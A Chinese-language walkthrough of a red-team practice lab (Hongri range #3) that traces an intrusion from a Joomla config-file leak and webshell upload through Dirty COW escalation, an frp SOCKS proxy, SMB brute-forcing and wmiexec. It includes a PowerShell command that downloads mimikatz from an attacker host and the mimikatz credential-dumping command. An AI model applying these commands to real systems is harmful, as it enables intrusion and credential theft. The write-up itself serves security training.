红日安全红队靶场(三)一次简单的内网渗透

1
本文首发在个人公众号:白帽技术与网络安全

靶场介绍及配置

这是红日团队的第三套靶场(靶场下载地址见文末),本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和两台Linux机器。

靶场拓扑如下:

img

网卡配置

在虚拟机的网络编辑器中添加两个host only网卡,ip段分别为192.168.1.0/24和192.168.93.0/24

img

服务器渗透

信息收集

端口扫描

1
Nmap -T4 -sC -sV 192.168.1.110

端口扫描发现外网服务器开启了22、80、3306端口,初步判断开启了SSH、HTTP和MySQL的数据库服务。既然这样那就先访问一下80端口

img

这里首先访问一下80端口,发现使用的是joomla CMS。(推荐一个谷歌插件:Wappalyzer)

img

知道是joomla了,那就使用msf的auxiliary/scanner/http/joomla_version模块扫一下看看版本。Joomla版本探测显示版本为3.9.12。

img

知道版本号之后就可以在网上的各大漏洞库(文末有常用的漏洞库链接)中搜索一下,是否存在可以利用的漏洞。由于唯一可用的rce需要管理员的账户和密码遂继续搜集信息。

img

目录扫描

接下来使用dirsearch进行目录扫描,发现了网站的后台==/administrator/==和一个==configuration.php~==文件

img

先访问一下robots.txt,发现的信息和扫描结果差不多

img

访问网站的后台发现一个登录框,使用burp suite抓包简单跑了一下,没跑出来。

img

接下来继续看一下配置文件都有什么

img

在配置文件中发现了数据库的账号和密码testuser/cvcvgjASD!@,于是使用工具连接数据库,成功!

img

拿到了数据库下一步就是要想办法添加一个账户,查看数据库后发现密码是加密存储的。由于加密算法未知,于是还得求助于搜索引擎。不得不说,Google yyds! 根据joomla的官方文档成功的添加一个用户admin2/serect。

img

img

img

img

使用刚刚添加的用户成功登录到了后台

img

Getshell

在后台寻找到一处可以上传php的地方,直接上传我祖传的冰蝎马~

img

连接成功

img

试了一下无法执行命令,发现disable_functions禁用了一些可以执行命令或代码的函数。

img

Disable_functions

img

虽然无法执行命令但是可以浏览文件,那就先翻一翻文件。最后在/tmp/mysql/下发现一个test.txt文件,并在其中发现了账号密码。

img

由于服务器开启了SSH服务于是尝试登录一下,成功!经过简单信息搜集发现这是一台双网卡机器,并且内核较老,可以使用脏牛漏洞提权。

img

权限提升

使用ftp上传提权脚本

img

执行提权脚本

img

提权成功。常用的脏牛提权脚本是生成firefart用户,我这里用的脚本直接覆盖了root用户的密码,将root用户的密码修改成了自己设定的123456。

img

双网卡

img

代理搭建

为了方便内网渗透在这里搭建一个frp代理

frpc.ini配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
server_addr = 192.168.1.128  #kali的IP地址
server_port = 17000
token = 1q2w3e
pool_count = 5
protocol = tcp #协议类型
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的协议
use_encryption = true #是否加密
use_compression = true

frps.ini配置如下

1
2
3
4
5
6
7
8
9
10
[common]
bind_addr = 0.0.0.0 #绑定的ip,为本机
bind_port = 17000 #绑定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用户名
dashboard_pwd = toor #管理用户的密码
token = 1q2w3e #客户端服务端连接的密码
heartbeat_timeout = 90 #心跳超时时间
max_pool_count = 5 #最大同时连接数

在kali上启动frp server

1
./frps -c frps.ini

img

在linux上启动frp client

1
./frpc -c frpc.ini

img

在本机上配置proxifier

img

img

测试代理

img

内网渗透

主机探测

使用MSF的==auxiliary/scanner/smb/smb_version==模块扫内网的存活主机,发现内网存在域名为TEST的三台域内主机,分别是

1
2
3
4
win7 192.168.93.30/24
不知名机器 192.168.93.20/24
Windows server 2012 R2 192.168.93.10/24
(那台不知名机器其他大佬测的时候都是server 2008)

口令爆破

接下来使用smb_login模块爆破smb服务。在这一步,网上好多大佬都说使用了自己top10000的字典跑出了密码。非常巧,在我的top10000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~)

跑出了两台机器192.168.93.30/192.168.93.20的密码都是123qwe!ASD

img

既然拿到了密码,接下来就可以使用wmiexec获取一个shell。

1
2
3
.\wmiexec_windows.exe administrator:123qwe!ASD@192.168.93.20

# WMI的全名为“Windows Management Instrumentation”。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。从Windows 98开始,Windows操作系统都支持WMI。利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。

执行ipconfig /all发现dns服务器为192.168.93.10,初步判断域控就是这台Windows 2012

img

看了一下进程列表没有发现杀软进程

img

横向移动

因为内网主机不出网所以将mimikatz上传到Linux机器上,在Linux上使用python启动一个http服务。

1
python -m SimpleHTTPServer 8080

在Windows server2008上使用powershell下载到本地并执行,这里有一个问题就是使用wmiexec获取到的只是一个半交互的shell,所以mimikatz执行的结果需要保存在日志中方便读取。

1
powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.100:8888/kiwikatz.exe','C:\mimikatz.exe')

img

执行后查看日志发现抓到了域控的明文口令

1
mimikatz.exe log privilege::debug sekurlsa::logonpasswords

img

使用wmiexec连接域控

img

最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt

img

Capture the flag! 收工!

img

总结

总的来说这个靶场环境的渗透并不算难,但是在第一次做的时候依旧花费了一天的时间。在这之后又按照网上各位大佬渗透思路做了几次,每一次都有一些新的收获。

相关链接

靶场地址

1
http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

漏洞库

1
https://www.exploit-db.comhttps://www.pwnwiki.org/http://wiki.peiqi.tech/https://github.com/EdgeSecurityTeam/Vulnerability

浏览器插件

1
https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?utm_source=chrome-ntp-icon
2021-07-25

⬆︎TOP